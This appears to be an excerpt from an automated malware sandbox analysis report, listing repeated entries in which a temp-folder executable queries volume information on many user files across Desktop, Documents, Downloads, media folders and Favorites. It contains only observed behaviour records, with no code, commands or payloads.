Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\PSAMNLJHZW VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\Word.lnk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\Word.lnk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\AFWAAFRXKO VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\FACWLRWHGG.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\FACWLRWHGG.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\IVHSHTCODI VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\JDSOXXXWOA VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\FACWLRWHGG.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\FACWLRWHGG.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Music VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Music\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Music\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Pictures\Camera Roll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Pictures\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Pictures\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Pictures\Saved Pictures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Videos VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Videos\Captures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Videos\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Videos\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\PSAMNLJHZW VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Documents\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\autoit-v3-setup.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\autoit-v3-setup.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\eicar.com.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\eicar.com.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\eicar.com.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\FACWLRWHGG.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\FACWLRWHGG.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\OfficeSetup.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\OfficeSetup.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Downloads\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Amazon.url VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Bing.url VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Bing.url VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Facebook.url VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Google.url VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Links VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Links\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Links\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Live.url VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\NYTimes.url VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Reddit.url VolumeInformation	Jump to behavior
